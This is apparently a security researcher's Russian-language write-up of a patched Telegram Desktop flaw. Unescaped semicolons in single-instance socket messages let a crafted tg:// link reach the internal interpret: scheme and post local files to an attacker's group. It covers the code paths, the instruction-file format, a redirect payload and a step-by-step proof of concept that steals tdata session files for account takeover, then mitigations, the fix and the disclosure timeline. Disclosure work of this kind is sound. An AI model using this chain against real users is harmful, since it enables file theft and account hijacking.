Введение

Кто-то добавляет вас в группу Telegram. В чате появляется ссылка. Вы на неё кликаете — и ваш аккаунт Telegram больше только ваш.

Как это работает?

Telegram Desktop передаёт клики по ссылкам своему уже запущенному процессу через локальный сокет в виде текста, и никогда не экранирует символ, который использует для разделения команд. Поэтому специально сформированная ссылка попадает не как одна инструкция — а как несколько.

Найденная цепочка содержит два изъяна. Первый — это сама инъекция. Второй — то, к чему эта инъекция приводит: внутренняя схема URI interpret:, которая читает файл, указанный в файле инструкций, и отправляет его в чат, без проверки того, кто это запрашивает, и без подтверждения. Вместе они превращают клик по ссылке в произвольное чтение файлов. В этой статье разберём эту цепочку и используем её для кражи файлов, которые содержат учётные данные жертвы.

Уязвимо Telegram Desktop до версии 7.2.8, подтверждено на Windows (6.9.3)
Воздействие Удалённое произвольное чтение локальных файлов, утечка в контролируемый чат; перехват аккаунта
CVE CVE-2026-107181
Исправлено в 7.2.9, commit db3405699f
Severity 8.1 High, CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Одна ссылка, два процесса

Операционные системы позволяют программам регистрировать URI-схемы, чтобы система знала, какое приложение запустить при встрече со ссылкой такого типа. Telegram Desktop регистрирует tg. После этого система знает, что ссылка tg://... принадлежит Telegram, и запускает его, передав URL как аргумент командной строки.

Если Telegram не запущен, процесс стартует, берёт строку как параметр, превращает её в объект URL и обрабатывает внутри: один процесс, и нечего коммуницировать.

Но что, если Telegram уже запущен? Операционная система ни не знает, ни не проверяет — всё равно запускает новый процесс, идентичный первому. Сам Telegram должен разобраться, что это лишний процесс, и способ, которым он это понимает — попытка подключиться к локальному сокету.

Уже запущенный процесс — это сервер: с момента запуска он слушает на этом сокете. Новый процесс — клиент. Если ему удаётся подключиться, значит, экземпляр уже жив, поэтому он передаёт ссылку и выходит.

Сокет переносит не объекты, а байты. Объект URL, который новый процесс держит в памяти, не может пройти через этот канал, поэтому его нужно превратить в строку текста.

Эта операция называется сериализацией. Обратный процесс — восстановление объекта из текста — называется десериализацией. Оба неизбежны, когда структурированные данные пересекают границу, и оба — это ровно то место, где границы внутри данных перестают задаваться структурой и становятся просто символами в тексте.

Telegram делает это в собственном формате, простом. Каждая инструкция — это ключевое слово, потом аргумент, потом точка с запятой, которая её завершает. Ссылка для открытия становится такой:

OPEN:tg://x?a=1;

tg://x?a=1 не соответствует никакому обработчику в Telegram, поэтому сама по себе эта ссылка ничего не делает. Это просто контейнер.

Эта строка строится здесь, по одной на каждый URL для открытия:

// sandbox.cpp:295-297
for (const auto &url : cRefStartUrls()) {
    commands += u"OPEN:"_q + url.toString(QUrl::FullyEncoded) + ';';
}

На другой стороне запущенный процесс десериализует: читает полученные байты, режет их в каждой точке с запятой и обрабатывает каждый кусок как отдельную инструкцию. Для каждого куска, начинающегося с OPEN:, берёт то, что после, и восстанавливает как URL, в точности как если бы он только что пришёл в командной строке.

// sandbox.cpp:453-463 (сокращённо)
for (int32 to = cmds.indexOf(QChar(';'), from); to >= from; ...) {
    auto cmd = base::StringViewMid(cmds, from, to - from);
    ...
    } else if (cmd.startsWith(u"OPEN:"_q)) {
        startUrls.append(cmds.mid(from + 5, to - from - 5).mid(0, 8192));

Неэкранированный разделитель

Что произойдёт, если одно из передаваемых значений содержит точку с запятой — ровно тот символ, который формат использует как разделитель? Возьмём ссылку из примера выше и добавим кое-что:

tg://x?a=1;CMD:quit

Новый процесс воспринимает это как один URL, потому что для него эта точка с запятой — просто символ в query-строке. Он сериализует и пишет в сокет:

OPEN:tg://x?a=1;CMD:quit;

Запущенный процесс режет в каждой точке с запятой и получает две инструкции вместо одной:

OPEN:tg://x?a=1
CMD:quit

Это инъекция, и это первый из двух изъянов.

Схема URI interpret:

В примере выше была инъекция CMD:, но не надо обманываться на имя: она принимает только show и quit, поэтому худшее, что она может сделать — закрыть приложение.

Всего принимается четыре команды, и три из них безвредны. Четвёртая — это OPEN:, и вот здесь деталь: она принимает любой URL, без фильтрации по схеме.

Поиск в коде обнаруживает ещё одну URI-схему внутри Telegram, называемую interpret:.

Операционная система не знала бы, что делать со ссылкой, начинающейся с interpret:, потому что она не зарегистрирована нигде как обработчик протокола: существует только в коде Telegram, который подхватывает эту схему из списка start-URL как любую другую.

// application.cpp:1162-1164
if (url.scheme() == u"interpret"_q) {
    interprets.append(url.path());
    return false;

Через OPEN: она становится досягаемой:

tg://x?a=1;OPEN:interpret:instructions.txt

Так для чего нужна interpret:?

Это был инструмент, который Telegram использовал для публикации собственных релизов. Когда выходила новая версия, архив сборки нужно было выложить в канал с changelog в качестве подписи. Вместо того чтобы делать это вручную, скрипт писал небольшой текстовый файл с именем канала, файлом для отправки и текстом для подписи, а затем запускал Telegram с путём к этому файлу.

# Telegram/build/updates.py:206
subprocess.call(... 'Telegram -sendpath interpret://' + scriptPath
    + '/.../command.txt', shell=True)

Файл инструкций выглядит так:

from: 1234567890
channel: 1987654321
file: out/Release/deploy/6.9.3/tsetup.6.9.3.exe
caption: TDesktop at 12.06.26:

- Fixed a crash in the media viewer.
- Added a new sticker pack.

Значение from: сравнивается с ID текущего авторизованного аккаунта: это предотвращает публикацию релиза не из того аккаунта. Проверка выполняется только если строка присутствует, поэтому её пропуск полностью пропускает проверку. Назначение задаётся только channel: и должно быть каналом или супергруппой.

Функция InterpretSendPath делает эту работу.

Где же баг? interpret: выполняет привилегированное действие — читает любой файл с диска и отправляет его в чат, без запроса подтверждения и без проверки, кто это запрашивает.

Функция не выполняет проверку авторизации.

// support_helper.cpp:673-680
QString InterpretSendPath(
        not_null<Window::SessionController*> window,
        const QString &path) {
    QFile f(path);
    if (!f.open(QIODevice::ReadOnly)) {
        return "App Error: Could not open interpret file: " + path;
    }
    const auto content = QString::fromUtf8(f.readAll());

Когда это приходит из командной строки, как вызывает это скрипт релизов, это не проблема: атакующему нужен уже foothold на машине, и с ним они могут читать файлы сами. Но как только это же действие становится досягаемым через сокет, и поэтому через инъекцию, опасная функция становится доступной через ссылку, которую кликает жертва.

Это отсутствие авторизации, и это второй из двух изъянов.

Как атакующий кладёт файл инструкций на диск

Атакующий, который смог бы положить файл инструкций на диск жертвы, указав в file: путь, который стоит украсть, и в channel: свой собственный канал, мог бы утечь любой файл с этой машины ничем, кроме клика по ссылке.

Как же атакующий кладёт текстовый файл по предсказуемому пути на чужой диск? Очевидный способ — отправить его как attachment в чате.

По умолчанию Telegram Desktop в своей конфигурации автоматически загружает файлы, полученные в группах, размером до 8 МиБ, а в трансляционных каналах автоматическая загрузка отключена. Файл приземляется в стандартную папку, под тем же именем, которое выбрал отправитель, без клика жертвы, и в предсказуемом месте (коллизия имён заставит Telegram сохранить instructions1 (2).txt вместо этого). Некоторые форматы, такие как стикеры, GIF и голосовые сообщения, идут во внутренний кеш вместо этого и были бы недосягаемы как путь на диске.

Telegram строит этот путь сам (file_utilities.cpp:172-181). На Windows:

C:\Users\<user>\Downloads\Telegram Desktop\<file name>

Отправляя файл в группу, атакующий знает ровно, где он будет сохранён. В пути всё ещё кажется одно неизвестное — имя пользователя Windows, но interpret: также принимает относительные пути, а относительный путь разрешается из собственной рабочей директории Telegram, которая является его data-папкой (logs.cpp:381). На Windows это %APPDATA%\Telegram Desktop, три уровня ниже домашней директории пользователя, а Downloads находится прямо в этой домашней директории. Поэтому такой путь:

interpret:../../../Downloads/Telegram%20Desktop/instructions.txt

даёт атакующему детерминированный путь без знания имени пользователя.

От чтения файла к перехвату аккаунта

InterpretSendPath отправляет ровно один файл за вызов: если файл инструкций содержит несколько строк file:, считается только последняя. Две вещи поднимают это ограничение. Ничто не останавливает атакующего от публикации сколько угодно файлов инструкций, а инъекция не останавливается на первой команде: каждая точка с запятой открывает ещё одну. Три цели, тогда, это три файла инструкций и три наложенные команды в одной ссылке.

tg://x?a=1
  ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions1.txt
  ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions2.txt
  ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions3.txt

Примитив остаётся одним и тем же: произвольное чтение файлов. Что меняется — это то, что вы читаете: приватный SSH-ключ, хранилище паролей браузера, файл облачных credentials или конфигурацию с API-токеном.

Telegram не хранит локальные данные в открытом виде, поэтому всё, что пользователь держит на диске, зашифровано, включая авторизацию сессии. Это ключ, который клиент использует, чтобы идентифицировать себя перед серверами Telegram, и обладание им достаточно, чтобы быть этим аккаунтом, как сессионная cookie на вебсайте.

Telegram использует key wrapping. Задействовано два ключа. Первый, DEK (Data Encryption Key), длинный, случайный и высокой энтропии, шифрует данные пользователя. Второй, KEK (Key Encryption Key), шифрует только DEK и не является паролем: он производится из пароля через функцию key derivation (KDF), вместе с солью, хранимой рядом с зашифрованным DEK.

В псевдокоде цепочка, которая открывает локальные данные, выглядит так:

salt, encrypted_DEK = read("tdata/key_datas")
passcode            = user_passcode()          # empty if none is set

KEK     = KDF(passcode, salt)
DEK     = decrypt(encrypted_DEK, KEK)
session = decrypt(authorization_file, DEK)

По умолчанию Telegram Desktop не имеет локального пароля: нужно открыть настройки и установить его. Без него пароль, питающий derivation, пустой (storage_domain.cpp:102), поэтому KEK происходит из пустой строки и соли, и эта соль хранится в открытом виде в tdata/key_datas, том же файле, который содержит зашифрованный DEK. Чтения одного этого файла достаточно, чтобы пересчитать KEK и распаковать DEK.

Итак, без пароля, кто бы ни получил key_datas, получает DEK, и с DEK всё остальное расшифровывается, включая авторизацию сессии.

Задействованы три файла, и только два из них содержат секреты:

tdata/
├── key_datas                 соль и зашифрованный DEK
├── D877F783D5D3EF8Cs         MTProto авторизация, зашифрованная DEK
└── D877F783D5D3EF8C/
    └── maps                  индекс хранимых данных аккаунта

Это имя папки не случайно и не специфично для установки. Оно производится из строки data, имени data по умолчанию (storage_file_utilities.cpp:241-250). Оно идентично на каждой установке.

Третий файл — индекс, и он не содержит секретов. Сессия всё равно не загрузится без него: Telegram читает авторизацию только при чтении этого индекса. Его кража, однако, — выбор: атакующий мог бы просто так же сделать свой. В этом PoC он просто берётся вместе с другими двумя для удобства.

Отсюда следует, что атакующий, обладающий всеми тремя, имеет аккаунт: положи их в свежий tdata, стартуй Telegram, и сессия жертвы откроется.

Доставка ссылки

Атака требует одного клика от жертвы, и он должен быть откуда-то вне Telegram. Ссылка tg://, клёпанная внутри чата Telegram, обрабатывается в процессе (click_handler_types.cpp:278) и никогда не доходит до сокета, поэтому там нечего инжектировать. Обычные https ссылки, с другой стороны, открываются в системном браузере (ui_integration.cpp:437), потому что Telegram Desktop не имеет встроенного. Поэтому атакующий отправляет обычную https ссылку и имеет свой сервер редиректить её на сформированную tg://.

GET /rules HTTP/1.1
Host: corvus.sec

HTTP/1.1 302 Found
Location: tg://x?a=1;OPEN:interpret:instructions.txt

В зависимости от браузера и от того, использовала ли жертва этот обработчик раньше, система может запросить подтверждение перед запуском Telegram.

Proof of concept

  1. Атакующий создаёт суперgruppe и добавляет туда жертву. По умолчанию приватность Telegram позволяет это без подтверждения от адресата.

  2. Атакующий постит в группу три текстовых файла инструкций, по одному на каждый файл для кражи, все указывая собственную группу атакующего как назначение. Пропуск строки from: полностью пропускает проверку аккаунта:

    channel: 2001234567
    file: tdata/key_datas
    caption: poc
    

    Файл должен быть простым текстом с LF разрывами строк и без BOM. Остальные два указывают на tdata/D877F783D5D3EF8Cs и tdata/D877F783D5D3EF8C/maps. Автоматическая загрузка сохраняет все три на диск жертвы когда жертва открывает группу, что они всё равно делают, потому что там ждёт ссылка из шага 3.

  3. Атакующий отправляет неинтересную ссылку в чат:

    https://corvus.sec/rules
    
  4. Жертва кликает. Браузер следует редиректу, на этот раз несущему одну команду за цель, обёрнутую здесь но отправляемую как одна строка:

    tg://x?a=1
      ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions1.txt
      ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions2.txt
      ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions3.txt
    
  5. Операционная система запускает второй процесс Telegram, который пробрасывает URL запущенному через сокет. Неэкранированные точки с запятой разбивают его, и инъекция срабатывает.

  6. Три команды interpret: выполняются, и три файла загружаются в группу атакующего. Никакой диалог подтверждения не показывается.

  7. Атакующий пересобирает tdata из трёх файлов и открывает аккаунт жертвы.

Смягчение

Обновитесь до версии 7.2.9 или позже. Это единственное, что действительно закрывает проблему. Остальное снижает риск.

  • Включите "спросить, где сохранять каждый файл". С этой настройкой автоматическая загрузка вообще не происходит, и файл инструкций никогда не попадает на диск. Это самое эффективное смягчение, кроме обновления.

  • Ограничьте тех, кто может добавить вас в группы, только контактами. Украденные файлы могут быть отправлены только в канал или супергруппу, поэтому это убирает место, куда атакующий мог бы их доставить.

  • Установите локальный пароль и выберите его как настоящий пароль. Это не предотвращает кражу файлов; это только делает украденную сессию неиспользуемой.

Исправление

Исправлено commit db3405699f 16 сентября 2026. Changelog датирует 7.2.9 тем же днём; релиз был опубликован следующим утром. Commit удаляет схему interpret:// и Support::InterpretSendPath полностью, и экранирует record separator на single-instance сокете: значения экранируются percent-prefixed hex encoding перед записью и декодируются после разбиения, поэтому точка с запятой в данных не может больше стать границей.

Кроме того, добавляются две меры сверх этого: записи CMD: и CTRL: пропускаются когда то же соединение несёт OPEN:, и локальные пути на диске выпадают как только на соединение попала non-local URL.

Timeline

Дата Событие
2026-06-25 Доложено через ZDI
2026-09-16 Vendor исправляет проблему независимо, commit db3405699f
2026-09-17 Telegram Desktop 7.2.9 опубликован
2026-09-30 ZDI закрывает дело как уже исправленное; права раскрытия возвращаются мне
2026-10-03 Этот writeup
2026-10-07 CVE-2026-107181 назначена

Исправление вышло тихо: changelog 7.2.9 упоминает только rendering fix, commit, который закрывает цепочку, озаглавлен "Remove legacy interpret path helper", и никакой advisory его не сопровождал.

BeakSec на YouTube

Если вам нравится такое, я публикую cybersecurity материалы на BeakSec, моём YouTube канале. Это новое, поэтому подписка помогает.